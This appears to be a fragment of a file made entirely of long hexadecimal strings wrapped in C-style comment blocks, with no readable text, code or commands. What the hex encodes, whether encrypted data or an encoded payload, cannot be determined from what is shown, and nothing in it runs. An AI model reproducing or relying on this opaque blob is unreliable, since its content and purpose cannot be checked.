4ef171a2bf50a533f0165ac89e83db316ad8a19e0a1d9635ca6332c8df17fb60db5e9cd4a98e7759deb9d9427008896e63b70023292cb245437d529119cc503150abd365e6ee81dfb05b0cb28cf6254768bcff87aa94d493e7ba4ebf1d6abc4c68bf903e62ca978627b10716be434223827d0dbbf991116a0a1238c00ea62a94b5c5f75aa2976282a334abff8422c276835694eda4c0babb39988d95077e7e7f0f6cfdd1abdd51508b3c33da3f4e66901598bd77c6862953f981904d002457ab5ebaa577bb688d736462c4fbca266080ed6588789277823caf6eaff6d55429e19e6e816625102fee261263fcff4a485caa3a1678a8e5dc67a1d1c3eef867883dd49f13ebb921424c907e822934b3863a4acb950f78aae54dd6486806d9aafe29d2e684ebcb46e1b84133f5cddcebe5f2d6238604622e4996ae4109530d7a078e2a35812df831583250858b5637614e17231dfd6ea5f703d052a7bcb0211e81f8faea47e8d2662905e38d196bf9c9713818c4d9c2e850681a58b51099d35796eb47aa4026e83abb248854c689ec160f6b90369e424d9349b46f8d96f342e2b606ff6e84042fde00e77f840af7750124e501804be3f3075bba8b0f81146cb90fa6e244ddaf89c7354ac08e0fe3e8ba28fc6ba1d9aa1922ae28a1ae97895ccac2411bc1e341fd80641bcc6eca1d85bd1f2e2928a3f90bf1334ce4f37ea869b91b45055377ca12cb649e6ecb5c41e667f97d9f5484d2742f9f29f071a528353ad56f38b4d4f1772739995aecf6a4c257e80eded5e1a72837fbdb65c57d0a1ebde1700cded9edd5afc14e14de9ca52403d96b25f94b5de6cdbca256040594aa8457d7f3bfb288eb564b01f19b3fddc1a222a32acfcf2110911926e9d1f0fd8e9d22fcab65fbfdbe917ff39f6cd71fa76ec93bc9b8a2f836738c46b139918ccbf4e1164f05253865923b0d1c35cfb9b79f1f8b137103e0d114efd6348e7552de884b9d76df397d9f221f04b16d0caf6f784cf1727ef1e1bf169e61a2e7f76a0ee4a4976b8d4b5c5054c42aff379d375199cd9b535ffbc08751ddcfbfa3510afdcc757a1507a0c57e6f30114f335950bffdf9be0e60f8ec2d82f7b0cf0841680dbec581e94e81d0d5308ee2398651be2555e6d074be4a994759d25c3029c3f7dd40771aa290fa831cb4ac6cb0c58eaeb2ce6b7c53d44628e98dca6c745176062f50bab3dabf859b4858e11a0131275b562e6ef0581e48c86a90bc5c579524ecfe16a7b05eceb068063d871d35a8ae698e4fc4951f045567a884a752c5d5c72caa505231f8bef4c751ffddbbd5d25c34eaa4fc19f3bb530ee04cc9f1a95b267c68071d4b0eec0fb16ef9ee1b0*/
/*6365796f9f0f12491ff6f64d572166315de579e0032f9bc53eea52463651f558237b8a2e9717e04801ff795cdf3f97cb6e027af3e0898b98c65739c4e3f95c4afa79be17443d3a7379fd202f00c221670a7e884b7d49db3b0dd0233a4f549cc2f5a959ed982fb5058bb10c30ab014148e7bc80762ecb85faae22e78877615e8edc85804b99b469f2212d17d3375892902af64de6392977e6b12efcd830a34cd8ff04f896aab0830d29541796ee8d60545d5516bae201b24ca91f3a4e22405185e48b4c2d9b9ad0b494ec5c18893293a32830ab21a3e88d460c3f89993f8870ffd813a315db692d8a95d61a527d896107cd3ad5685bda9c0c9ee4de8bd456049c6be5ca0c838ad92a907b2e9f1e0f98bdbe40eb384316ce6625a2f98e55a537ff15a73250ae9cf356e615e980c2aa794df94b0ada91090c7c11f52dd195b2226c93aced692cddabbb9d6dfb3bdf643b9b737248f7965d56bab4120ca59b64f3761219c23796489ba65d4d9f7a2bdb0205529c9b8c154844fe7f5a2e7086032a43ce8ba916e8f1f58e9de456bef4428e0b9fd6204298621193a3d05e41c9f97655e67a01557d4b455db58013db06ba154d10b58c26a55aaf167c71b4cf751fd8b52bb5811cbcbd23595bb17f78c60b0454b44573cb6bfdd925cd2ad7b29fd8fca26cec3d58e21c5358536d9b961235d000e2447441bffe700e8cb778ec58d645c3978682cdc08543964db5df93f2819ae4135a07bff521e47a7cbf4c17bad0efbb93e0389edd471ceb9e38bb0fe2ca205dc6147890b74382cbe1fbedc9f7894401b4ce365ac1b4c84fcf84172052598e5dee6c5a68f5561038d4d2e60c97507512b11c5cd054aecb59c1b11c80fb07674d0c57e36e75da2bcdb8ad7dff7510f1ac806f1b8d3c9995083ff13e84695b22ed9a7491ac900dd430f8e290bfdf7f8fac04758272bdf884f789fb714f631e75992a0ddc22f078ccc88101e907b64f301a7aa97b994eb541f72994e3b16475433161a1a5a4f80f872e5af57a396574a449bf7115f9b46642c8033f4c0fe70ef01aa838565917eb379a5b687a812067a22c7ef166964b6e4ac1746be8c8a083f4684e2d8f745327d240ad21e9fa88d3699a572130621fc5e99fe6bf7a1534c0ea050c860d8e67ff1ae88b4bacaba51995a6982fc5b89d8243ded67562c50d2efdf43beb2d4d91cca4c29c0f31688d75154063ae1150e89c76d97d8f4bc49dad679de64e0771e13393598d95ef7927055a96a1b3530430c62c1e65eb8c68b435858a66827af7868eab5c5fdf798aefe8883351f0eb8f3f893f278bb2d27733a2ead7d8a2f492ffa12c6f823665605cb692d5e2fa4cf932d11346c6f37b9a248a958a4a253fb213f377f8ada1b5f11d39398ac06b3cd943a934fe569e15a8d9b878e3e42eaa7ee56396b556dc430b15bc7c340c02dbabb7248de8de4b690be20f5cce8c03e5bf9ae9a4f162ea1a78b021422cff6830bd4f847e9ce1d397155d565c3924228ff0a1d95bcbb3cb57707b1bc86a97dfb823e82c1f51e677f02ae2a5a031cc17e909802add378fdffb4621ab8b516b5014077aec3cbb216a6f74fdee83f675519dfdcbe453585b558eb8b13a7e155a2593ae456465660345cdbad488cbc2f25fd59807fd05df84e57148219c7e95727a86354a4d8c2c86c8b62c083bbe4e75e7a5034cf3ed53d844c4cdafe43a21bdcec9045f782692dcab8bbcdaf4d71e46e81093cfad31fa4f71a3c0ad77981750227c36f43c246987d6b91aa14fd5ec53ea5c9e53468efffd7fb023200712d43bcc9a0ee7f721f0a22203f232debeb5c57e4e44e4c1836570bd311a95476f1b31e70c89ad15c24f04cdd71f66016f5ce4dda59e49307e60379b4c1a210e6bf55414b3d6d268a934424280951fc5cf61519baa1ac3b6dd2f27cf7ad667d00344d37e40d0f00fc09d844636bed41880fc1447f9bb4fb5faa920ed5c03d7602044df4f17c1bfc094ff7ff1769e137b34c70064e3bff7ac7192696139555f856d5a7cc04e996491af055a0938dfbd96712278c5893ef5b8e74fc5e9859e0034abbbf715d0e88a9250ba03affa697a80d827bfce946f25cb2c12f6ad84f89a9566f566150e4fbb3eb9b9c1b8a5fb1c39becae8efc20076ef9fcd42390c2918764798288f82e6b54dba25a5bc55c5e37aa9901a4a01f4b31dbbefbe93d2266d39ed918bd4c8cfd34af2154a6649949c07d9159eaa641fb6e4897e85268b5588fe7a163e99fd505834b3b58c57b18c23aeb989204ec5311b9f6e7ecd83fd5d6c58eadcf5d77d75094b8b45f4ef788e9a0e0d4189104d076b2936010877755b0da861746157959c450c0d47375798c05fdd002a094fdc09e0c91ece870e419c66c3f658bf1c2cc1539ae5518f2775bdb1cd73915da6320b0c5d37c145ff2bcfe74469baf2b053367198da908e4599a81574c48430e82f5cac3bb26e4951d5939bab54db414a4311d9547140f2c38f2d15b6f74f5ceebd422ea4bc844d9e60097e4af1b3153c3de2e0a07df62c34e53a9cc51010aed4366bb15df8e3cbab219db90e688d88699157f1de325f322e90d68b55db503f0f246d95bbef5ce583ea80b5fb51dc247559f20d839990d2b2a7ff06fc3ff16fb70074d483adc54509f33ed2b8ab1fcf9f14a5c336b37ee8e3eada9f282c6c557de92ac3d8d1175fef5a9845d224c0c8fab2f24b471fad2d64990e480c9daaee759c20dd1c095ac628af45493e3e18f637f90135440dbced61fbeeed64b2b0ff0521fbf47230e4dc8c8721880d41f3426c828c3be9323832e15770b4ff381b*/
/*19d0a5c1ac36edd95dbc9ba0ef8f60c80196a74d3a2f94fe3a30f60e2999a06d608d2897a42b9925b04f55676a81fb18b4fe45931faa564fbb94e3148564afc7dc2ec0187bd03af4b8f36a4493bda2b8fb8b6d0c3a690e9c12491b0eb88f5d06b0f2b2cdcf718bc6f604b7c91403632f67ccadd929af34456be156e6a802fcfde413c89a824df84b590e704c8d5befc6292e1ad5871eae3e0c5767a124ed32eafc4015822aab0c8404096f1cba2cd7ad5e0a5d0d6aa4d096a727eff174f80069f87647278b1d389550367f891766323ad58afc80172d76049c6a130ff9d7c453428091747ba0ad01b6c61096619465f499a11ee53c84826407f1beec6dbb886ed096d0c140379e4d6eb62d625f158fff2691b608b4144db87cf9aed95b053db876c0c24f723241c107e8bfb14dedddbf8453b9cafe4837fe99a90bcc0372eee0e333840edcca990449eb273d173888fbb6d0d109d6bcbf10ffc7cce2fc20554abfe73a9bc62e43423de42a9e38c9a52db1f7dc9487cca2caa292f69b0f4d68a6754f11a86aec8f3a64530972df3e92661715885fdb5c62fdf56f4dd743bd23a49f713e902d44457db50aaef7dbeab23c93f4e2b6b16dfa7de060921e8fa40454a62466813277ed4f9eeb7ac14845b3e41c6bd98f7459d1a511e786850ff662e66dc67253b0a02b4c2700f8f5301d5b0b4f6bbb4ff4fc0248db4e250f03fc8a19762b3b133a1167b8faadd92bcf78c1487de48f14c35ce9234fe4fc6eb06022fbb4451add263f46d79340c4ef41068e1b25108bd4bc612df497cad5f9d1af1f7e0ccac8fdde1127dd26b7895ab8735671dd806b4edcc134eb2b0a64cfff7cb7d529ded21e0ea0cbb4b15e01a8c892e10e2b4e8eb97b851289912e011bd323530f114d9a1de05fa5a7966934c9523b163cb82bb8ab037cf4df46941f515ba5728d468a4fb8e37a07f657d445798c51e04852d3c0647e825a91a02f7c3e6d18568daa5ec4b19f3d451b7ddfabac26685cb9bb64a6b10537879ed08da563510dc67f90cbc08274a51aea414b3e7af32bf952d71084b136717d667f1e72dffcaf3f035b98f7876f722eaad28c86dbc365ddb4ddfdb0ce13100c90887964d08913ee7936d01c89748157b3aaf8fa67090befab225b6cbdcbfa2a3b068dc337272705ef4c279d414c920c922caf607c354819640f1c14cf3cde7dfa0c80980f6f921271ef34ad8d4efa110f0d524aa08489572b7bb7c46ac4e5466f239e56d7b84a16e8a52fe776f63d54233939bf1d5af43c424ce630702e5ff1305ccb1b8e4c814d50478e8a2ca56729767454e0249fbe80a9b68b4f51b3f6b13ffd50d20ed25b864b0491dba6a02ea1698b4afdf992e422795d766af19cb2e7f5ed4ffe41bd42f651cdd5e6c2ae09de8ac18fe7529d4bc22d352002eca5f3252662225b52a7ee1f10404e0d18c7c37cfbf2940bc2a094a904f72876f67e8837b89702f9138cd18d913abecd3a640a184e6adfcb76bfe68796261fa13a8d25f0e94f3f4c90166d21965d0d33ca64721843a92d7417fd958e8ef9e4d46c08ec4df3c6cb9f694c0c237dbd8f143438efc6397d7fd84df007e3ff9151e43e18c9a7323c9f00812b8a0bf6e31381242c5b4406ca8f4abb8b7a1dfcf0722090f2cceef661364dd69584fde8d4dd87c6d60228d40e4596fbdb997dc9f7130b6eeba63f169ae03799fd3aa09c69b98035e4c222a0387bdbf2a838e9891f417bbfa133c12167f143bcd9b406b55a9ac3d85739a2a4799cd758918ee6d66d6088d7a9a9cbcdbf6b1279e6ac41a917368bf45c846bcd5fbd36e9b0e3ba4b138c76507e4aab90779a2720034f9caf9241d26de5fa31e2001677c5fe45779caef9f627061272e3ed047d4b008fb9701ac4f78d8f176d19a89e9351650ce92be19dc7550d0ce0c016089f7c7b55b3ecf1f406b4dcaa39e1f13c8fcd69f879b4d82251e9c738b3ec4900bd8cbd005baebcb65540c1942eb5d622d84ddf474955a8c8993437f86a45ce60ec996006adcdac9d46256cf1af68b6a1bff7b896f1c07b391599727bf020f393cc65360a9b337f1c8c10c5da3473396d68c789ed26025c0ceae7c72f96863c739ee4b35085de5336b8c9e798caccdf7d400d1d5d43f7cd9c9fe2f5d5778491d40135d5b54d5411d5459c0a83ba965b8b6ec2352cc735bb5008d94c47014d6870a723aeab91288e81c883293e9d8a6b704ba7efa20ac819232625f21ebbed9b5a8e8999b7fd4f658f56088b5c4598a420af7aedaa83fb3d7a1c47b9f80c710ca1eae6e2af856021f5e285795c61b7eec2f344b7d15ac12de9bcb2a4e1b2854d0e3c0ad8348509359401983ae397b97d2637f95d8c9753ee1956fe701bb138738d48a09d1f710c43c2f6c75f15dfa4aceb75b5e0de144ecd9f106bb2fa254165a40f379e68d0899b7e2f50677738676533c09804ae6468b380543bb7ea19cae7c434b30f4f99169743ae77c25fd3c4d10e973d443e407755cb990393ad9d498136a523bedcfbfa91856bfa414628e473f0861123408353807de12cf8058b6eab82a0c6569538ff2b718248c434669a8884974270872365d044be3a2a4127443c468fcc002e9193b2d22776ce924b1d68c6dcdd4c7f685a0517a8ab4b415ab305b5d288aa5ca071b891f03a2c58d675e62178b8e8f6349cf32f5d3735a090f1405a7426c1ebe6e848442457b6f15ec85e707da676d0c34af0d4232bf19c06978ac470534685086838c9ae6714924f15523a9d04482305616a80e9b879a0948a586d52041d5073af3e1a765ec57ed70f4a512c4e81df941b*/
/*e8f06878d21c9081097b1c3cac2d0d8cf34b356402618d964719d3a0e8c08ba53e3de198c92ca3da2e148925fc8657bb54fc0ce9ed7de789ccc40a0c644f00c0716b6ba08a9637136d178f6a66eef94f275b957e49a39a997318c9790b02af687ec8123eacb8d26f070dd6599623d4dcb940e6ed0a1363faec1762c6fd1c86c33dc053dd696b8f8d8fc73a34155bd3c0ceccba60ebafac2b5ca2bffa07f18106d32c52548e038742fc0c46fec6ab7ec3339d663c4d8bde8f9f263abc3109a0d03414c9009cb99ba15ded819df7ee97a28cff87c6308d09672a7dcb842972e32d487596a05959122cf0ae9e5a33c0733b8bf0828d851315502bb5f480ac8d427f8fca078209f883f79e5f759f9a91a5786e11201d72a20d3f647a31ae55e9d5cdc005a2928871ecfcfa51cd53ffd8eb903c364f6ed8fae42f52f55052704ca9a17e4ab7b4377b92c5a0746fcb56ed83c2c0875745a5c18f731b900c963e442e3978ace7427ffea81a14ca09f9c97a706cbf87b9dfd3bdc93297552c296781c41b93ff9d484fd92ab1fdc3a6f9419dd74e52d6fb2b5c28fba1d563489abd8f2c610125f4099740a1e13dc3be69e711f8491d086b67e5f436f6661dbaf5febff13da5365724eb0545ade7d859e7b3a7b99814c6dc0b57b711437f067b787a41225708dcf10dee4bac8e7cc8cab43bd87e216a6b8a7f8ffdff9b3aca7f67edd16bff0593792b0647efde074d5180e1fea778952941bbb3f66d0d30519cea856bb2db332baf79b1b658d461dd2dfb41ca23fd6ca90b0d5fd81e175b18c7d49e326971b86c84d06aa750264c1e03274a2db56cf9f1f76d7a4920e36108af17f383e49828b2f3229a5b6d548444ba3b3e4db14bd6fe52812e3dd3089365ba1e07ff9ff2be010d7f247fcf4016ec014e818ef95b020a23952601d903bf1dace766041c73a352aed35f6903c83aba429c4955cd0d21fd338756e9b40b1e90316118b3104fa068e975b9fbebbe4fc9d1ee2defc3513748c49e246dc062b453a7b90b8fd5f8bf7a2d2f69762dafc688c4f8efaf191f18d67f1da220f0b5fd7416dd449ba752ee10475fa27b5e3fa956f84b88783877df97b7a1568ce546c6e03e4204eb3fd8274230e65532db9be7cbaf7e848d5d65605919dbb1d485e04115c85759a97ddced48d5ea9c801b7fe3817bca496c160acd8589c41e8862bd02a39260bcf473a8cfd0004913f3ee6dd3683dcbe1c31e8f564d4493a5333ee50178fb8df5722779f7a35148e191f03cb01fcbff6003205737e07faca3612eb5259fb489221523794da948520642021cd225424d8282a264b2caeb5166babefa386b689706624d8710b1eca7aafd5af10ee4b2da1b51bd992a32d27ced9ed5b732461074b6abb2fdccf817b8b2e8aa646bdc0702acac2fedfcb3136cab4d2b8d25e746555fb80e64acc3ccb13991e8665d79b3fe719eb58fe83e604eb0bb041b5ce84372738620b80dc0f3920ed3f6596bbb8580005f237f76bd3cdf70ceca3aa9000a22df79c2d4bedb9a1a7993dfb2ff87454627876e587d8a450ace96aba1b1560d3660367d830d28897f186525b01c3bbf585d1f785bcae36d3bccc93826b6c7310b1f5bb404872ac70a9b4374b330e2270a3baf38e967754a92988f33fc8752e6cbe6281bac23c7fcb7ea175622ffc275f3553c05415bf60cfc6c686e4a8553848d452beb51c5070131d7d2d9b878cc32d4bf5df3b565cd786e29002ec0edde8a91f9ee9040f2b5fc10e792d78d56e515085670b66b7260e42af6b067139fc439b58ba95c1517befeee8cf40fac1f0c68047887ad36ea70d17677106d23fd451761e8705d305ca3bfe47b6800c94c3e024b1089f9bb8fc9f5a752a1dc7470700337f55ed56815e434da067201b546be142756df741af855b532ef5ebe1f86508706b18c9623f097bf20ef3ed14fbbe8056de304817f873adcf40a94312146cbf7a03ca63a393166866993d48b6fa5c6bdea1cce10a495fe01ec300fe961b27a34b21310b54b104e937c58f6074f21443ac06252d83bbf757feb8b5555b3e1a875a3cf878c123bd2aabf185070bdedc8b7ce7f94440d4c499da04bd39da61c74cb3bf1a545dd57c7819fe7945856750ac62a294b3546d157d354243283c57f8938b5a2685c267c9f062c75eabd4230d6637d90f4cfe1771a683a6d13be2be44c1cd8e5d1d2cc327be1f38c726b1fccb9f14cafd15349d81d93ff802fe49f5a90734d3e3228f15db0468b1aa441165aa2783f50994b88a973c3ad7cddb37e2160a5c7b987684b922f7bd9afd2656c64c2fcc0cec12a4c6d199e77bc481b8d22de411f792c4b22b61f964bd574f7a54e2fb3639f92a4e75218513460a77028081d2063adf234954d6c02af15d571b73ffedca81d124777bb2942067dd09f92a710e3b4daa09149eeb7eb59b130d0aaa544a55c42eae72885b489aae1e8698e45642f25e228e25c163e109966e12c9b538e000ab7951b0086bddacf2d89e298eba4c7021df7f2963dc0c0b8a4f1297a111c432ec44cb17f470927ca9e1cf33123e5b7a4ddc91426a74c337fac953d6e7cad8e4a2d0e637020b59ff20febebe19df5f63b4f7e0213204a1958e9efbb268eabc97b933eb43405048a2038acf48ca60ed4757a4baca8972cac46f6f77aeb1caede7bc15f2ada9d75d5fb7fa028a24db7d338671b95114d2186877648f06d67fc6f6d976783cfb81ecca3b0489d997e719425ff37ed42f2efd193eb9488bb37a3b4b8efc2775a173aa24d71b0974b23d0b7e2a36676fb3fdf9a42658baa9ba0ac4f3b7c1f2bc8*/
/*7b4acde4192a031c8375d7699fab58a227ea64316a835ae268b8da98959cadc9c945e20c681c234e786e3c6bcd0ed770347d4f6f7f3cf85db88ccca56139f3b66784a5962271ace24918db77fddad3040feedc4d86e3e68991cc0e12236143c9907c5c9bf9635d22f1805a4129993fe5ed3050eee4181637d8e78f371c1509018544f393a3f556557d8d6f828f7a1670d8995ac37ea01f0a5bff6b397804a672c3f29354092a4d44e1df7ee52c01d788b0ef15a5d3df39d99ae4aea45409800ee0443f0d0a05e54e0401ea79b39a08540c94c850415970757bd7682be8b68974e35d0f06eed84404a14cf7b81f019345f17d33551a34953c61b83f2ee63885b9ea709213283b3ee4b7f62dbcf08bdf53de9c2c55096458c2beab3df603e60455ee79af3b737683f5aa43fc9a4d264d822b864dfce1d332ff9f855e7a647eee099b19d59bc3fcbb3ff480203ea7d101cc9fa8962fcd11c1f1b9787efb1804e4dbeeb2c4fb53eca834109c59dd9f008e526c99ce6136a18cd47c2acf4070965f510333f91b7e847a5f254da210f2fcf1cd87c734104a3654ac6c9b92d66f130b1dedb310b0842f545a7aef1a0a758d50865152972a6615fa35224868ece55f904d1dd0b29b1b807811dab60595733632e00ade4aeb04735e64c31bdc80cac88eb0d7b778b3378956b67fd9c5a62e1ebb5df0d2964f74c430a4fe80a220ed2085bfea187c5f79b724b327101bed6f39f749bd64f0895180450bbf350b88e4853d64776a663cfb44fa5a1394a57b53752ad091a35de5c1e14f425b101994764aa69e5d89a51190f1f76d7a6a727f4dde490b6d420fe6274fbd8fccd3aa6178285f32e1a4bfe349b61069677e3547837a69658975cda67cb1affa18f66cf09e45a7f9d11baa1e2c9230b263a03802ea1ce9e0e4f59cb1691790a92b0faef465d0721bae01d67642ecba605dc501e18d500d8442d33b8a35b9280c06835ffbc2e4fd4bf13b4ec008149d33afca19802c059ef23a427381846e47b65c16abde6b0480acae9ba04679d77b6237ec08b4f7ac2b2db0fcdcd5a629505d5cf312fa90d57e9bf3496828e2e0f49e6df79197d261af91d0bd5924e55bdc13a36142ba57b727cb64226ada2ab9cbce6876437c52a99bbaf6c1b4990df7476958224d0629d284cbd8dcca01b75dc2a22ad3d9a95690dfdcf0cebce021127a0ce365e266b46839c7e16d394f1538fd25da3bb172dc1294efe6ffb3217c0b7ce0546bd85ec38500ead683374297835acba888841f25f7fbf314b64715209dcdf680d484bb80b1e1fbfc8e700b510b129ef2acb56b40e016919b555f1d6a82f75eba9e562d6ac19469c4fcdbf03194e4811e0623ea394f4d7408538661db6118a2f876ff96121b621568c75ac54786af46309b8debbc64452ed3a70e55f455441deea91540fd03b4b6ca04f067db15bf974332ac869e6f3f972dc8e67af166d4f355878931ffd7a86d5cab2cf1aca458af1bda9c8e6eaad7bbed054eab2d5dab3f13dda017a4d0101ebd996340ad99c80bee767d6273bd77c53cb0ab1d0434735792685b346e9427ae8ce72994e29b21a4ba6cf3e5db5049924fafc7844ef773634736ede48993f89c21102c824375c5ffaac9df7f598666beae283d539e2ff52c4f3ec7257bb9607d02dda76a827c5a39b4129d431eb6f6a63584871f815c9858ab18570dd37e88570d2ec1d68ff13e670f517d238a93e01cf3b486f1d7a21d196931a623d96327b0419fb16abba3dfc71721ada43497ecbc7678284832d1b7d0a25e4278c0e4f997c8c1101cc897286f05963dc5ff5c7361850fc342dc7093acb511411c616595c66ba14fb972108c7965f8669ee42dcdc08ef0a8bdbe5007e2d6e08e48686ba8080f705f261e3ea27b1a5435502a856b012e17348d73db2959057c192a821c5501dc123d70cf93232d8db0373cc4982e29f6e03d4af2bbbcd228ee41a4a858f30b9ee70579456da231aed97f35bcfd0da242de03ea54c9f8d0150a60062ac68abe3e932c8faa9b54c120a93846d2c3de52e94efcdfb6616db64789bd8e647b706aff8f6c06a4247972332f02f29fa80b608cc4e0820f3198d3ceed8df069c96d7643599cc1ea62c8d13045878b61d0e244d7105616d8bbf00f6ab14e67c02315eef3a6297c88b3892cf7fb03693b8e350169bf7847a0ab8bd729bebee954949fc2e359c2bdacc9cb35e31c99a688207b55602e196ba1cc24972c9578769169f490d2f40d1fc6857caf6d96f157460c071628860a37edc4f154686c67528d019cf45b7628da3bf4952acdfea2e31b365bddbc43ba90780ab1b1698b7ead6bf59a7372a5a8b6e2ebf9798bcbb6a109703ba912b95a2e0f0495f0ea85eb9f6fc7c71ad74efd02a8ababedd8bc0b64b32979ae46f8b12f7633501d8c805ef64d9b8bb8320a14b064c4bd275f32df412cf1a9613dde016cca8a6a2886ccb65294ca0a451987425898ad6255006c7e3d40b1e5cae30c8847c031cc05dca55852fb88c7b410d69ab2e6a5734610cf7dba15a8d76028c8c2bdbc3bf24c032ba3af6438def415717b7200547661445f6893c4c4cdd9fc700501b21aa01d40df5581b86f7368a1c94e524dd5d3e10439834f5af9730643f42778d2d8ec5eb52a015cd00e62f3f825822e22b81708d439c92c679937012faf697f6975f20e3b1fb92fa095481711c759378c0eecd862584eb5a0560bb10ea3a3e7ace12d1006d4390f833861c96e2b454a37ce55f06ae3e4d487a9bc07f015a0c8279719798d20af4dbf518459bbcb31436c32234f6deb2df79a8b8072*/
/*9139e2119fc69ec77e104626abcfff0d183643f2b3105b65d7e7c915c68f43d086b56baf288ef8ffde65e6b4fe88594114acfe5ffcda7929988a59e1103b7ec5f5f9b78a939e75c4b7bd72db3462ca0dd914ad0e6ef3e791312aa92ae9ea03551eceb3eb417e096cc96679d815ae67a3497b242b9914b5e2d8ccf35a04202447850f05b4f3cbdae6dbd955a62720c99a76fb03fc3f9a0b1ca752c4e0286ffa722803028d91bd2213b4dc17121e7c2af529c391d52bf896561c0f07a937c22b037ddfbd0f0a768c641eb568b27e00527b397143a4f3383a575c5aaad5ab2f01f74ebf4c8f5ddafba588785a96d53d1853b274de3b957a4a062a3f2c1fec6569928e77e09f2cb63e54e1eed9b19361973354899cc31d565a34b50a7fbedfef457e59991e962d6d85d1f18494ad8891ff4f3a8c771882cfc54792016996b56fe3cc3830361ff3d7ab8136d303b046dc07da7f7046a4697c977c1ff5f45ec67242c4abd0fb6ce265f6f455975bfe8e9c3e0fec9694fee5626b7e81ce02c2514caf8edbf76db26b7b0a8696c3d8c4d043c12ea47a39d4ed05fbc158d916d4f6cf28eb33a8ef08d8472114bf7cb374cfdbd9d3b50384d3e1f74198e4d12f14850c779ddfe2d06367fa45e23a1b05f475ea2858cd6d420601d521f83bcfe1dd82c79f8ad8c2195bd556745c24ea9084bb78f1cab30b81133485df26438c2694dd68b1fcf17ed21dbf22072c04d1bf02232d4c55d64324f7d6e4694bf4e9602062e195421f2571a391a0c958b66e4e428fd550ee2965a24ac5eac3c1e2fa0fbad84ef9615f52eb97b1aa78b980c0ce11eed5a2b7e2cc75c6b4fde17af1780c23488a2f9604003d238dc7b98cc6c893ac200cba1e0c697d5c14f5282ec461e066e60dc9159e60c4e4631e177b21650667e52778669ecfe57e538b729cedb350f3e38b7dfb6103d6aa7e4b0476dc1bbaa1ab083b44162f3e8202eaf38b7ed213e73745f861c7e92148906f8b5148cf63760f342b5789b3c0adc458604f9442c5b4eb9aeac92a89d218ba3b445373c604b6b6d2997e3770b95045b289cfc43d0419397d3981aa90cf1677a2afc6a2b9acb9527f31a32f5e2529be84e2141a82343bcda75f24b752ec2566348d5e049d984efdf6cae69e2d1e0f077267b07e566ffa2c5e1aa1b61df8853c29fa7293ac94e5061e62160d86c3d9395c5bddb77f3ea42b6321f0c30904cb5d358e48546ba7540e0caf9deeb88887afd60cb20f1a38ab29ea8477c562949aa5c7b1168ad4180fd6e45c75fffeae563190bb0c4b5f443220910032b151216a650dcca40cfe84e3888092f3a9eb1a3e6f74dcf32c7dd39bd9a0035e62a1861239abac3c6cfedae0f20e6cd1b6937326b8adeda36f3e9af5b438dbcec7f88136140ded2e5a890053e2b8c4858c285cb160a9916aa86fde38dcb8af0bc962f234bf44488105a79bd6069296aaa65a5fb1fcf92cf6469c6ce97cf57f97f969553822ad536af165cca15e945b8ae64d08abd80a490a32150e1ea057d742040bd098f7a09a9d8990018e7abb3f2b5f198e7102eaa5c3ab458dc079afbb7929132d7e52fcbafdb0173799312e3cb632c7e842e9bef2f3654f85813d14ac10f9bb954b6b271f3b15da9aef990aa2b495cbf1413d4da6e10ff0472ea2f24a1743a65c289e5c4af2a241ca437542cd4ad7a865f274fe267a2bcc3b0ff445b674e903c494971a1f1745fd3fc11c92404ed41fb94552b1e102b232076fa3db252ad400d357b0fa8362445f2ce44098f32334f62083cac6e1670d53fef0b08eda1aa6f3995ce87cc67ef3d974a48534f43f53462715d5edc94dc1f67dae6850f8f2474e5a947871ea142bc33040554fe8a895e82c15648b25d55488b8824812bb2f93c53e15ba7e79cdfe3c63a2a641410f58f3558d9c2aea43f2f65425a01c888c5c07390e75cd73aa76285f5795cba38d4a0f302ef74490ad17171685f0db5c9be9e55fd88c0dd734c69dd1a2689dc9bdfe2f58c279def872ddba19a6784e20aaa97c148184baa2c9f2e1a3d9eb6819f1d4d4c73c47994aec53b3a87555b7cc532e98d2d29344be5fb89d8708a645876e1fa51ada178dde7bded126fec1ab2959e35d8163201a3e37e3342490e2f3696bbe2bdf12c8b4e8924d0bbef82f335d2598f3b8c18112bfdf07779a1a80a46aa8fe1e796840efedbc4bc00d5098a9e6ab79a38e8bea5976db5fc4150855d2f561e285163b2d1bbbb3b015d40233c94eb91e4ad49871407deddf2236dfaf3d36a36b5f9006f49abf3f20585ca8df4b4b2049409d6bdb492b2209923bc2b205b20e55a93b0cb8c8f347f3108486a176d313683139fa78e6c30682b44cd0335aa3753073e6059d0a6086fac9a346a12af2abdec37280d95f0876177faa267ace7b870c0c5fdf9ec679e1e5757da7809d5b73cd6b2dd7ba9e769a9e51c6d223f807435accb0ee2db1f93a65e3febcf3206523ae64a23c01baff4e5baca8c36d6a40a5e8428cf82f4e83a3af446116bb4bd3a25fadefab022e9d6514e5892ae42b0015d125fbc3d8632f9687953beeb26afea31e4af256f5692142cbdd0fd64a023a3edf24eb2b41004f569a86947679dab92f4db585ed210ce78a1582e77c561e2b6f9c3e17446a325847766f8169a8b88d475b804684b632ce224c668c3c72399d26bec4a4e0a49305941543f8a6b526002d02c700beef042c3ffd03d9f1078345f7a6615c54db36ac9e58f8718e7234fa0ec4ce4827146c464063c7ba4d120d7d1eb03d37c432f4a90e7c2ec03119f5859a95c490ec743a3c5d6d1848a8f20363f0*/
/*ed77f838faa4e729fc7eed0ba493d7ca326e70123375d2ec750f519a30a84a3be86c82797f3f516d83d7a972f79bb5449485e3be08840d03a285e0ffb2a01d827c572eb0424a101f2e0df900888897e60f90f30b20feabe339dee9b2496c7f5adda6ab6bcfe7611d7356a0230bcf2089227b8db3f571e06fa62c853acd2f576a0f2928ced9e7c9a002db310447b40832feb43b501858f7dbfeed7064646e1a4ea4a4726523afbb327aab056e4d9d1a05c7fdd484ea0502422e238bd81e63d61e121d057f6cb5d45a42262c0474e4a7a46a93e641eff665f44bf8410f69ce00f3f830ad70c0434f626c4a71bd02a169bfa4a8bbcb072df2ea38bd72b72587f46f307657e692f52df2ab3894e631bb8c96092967094e5512b6074467c47c36c7edcae5a07b01da58085106fb5bf9501df74c05a2d619b16fdf2183e84b80f738e054dabcbfa611caba3eb7afcee53fe5003a44e6774b626eb90f0059b0a66303dab42b467609f9b83579162c9aa5c037d3f68209b169b3e8aed7f3bcd229832f41651622091d9d3f28bca8d042e19d6f12ddb31f555ea71734aa0f8eb0b9b05e68dd0fbe4e2deedac0444312982f272584747ebdf129671fcbe11a9bb4399558d9621d3030f67551a4b56ec603e575fa18d08dc83ca39511de10030c56ab3e1bdad8d228ac5ff07ce1de34d2b7a71b20efa8a110847d2499ee48a42f02570fd480e8a1bbbe09c2d2624c88c0f8989e7061ddb57b65d06db5e7dfb0e1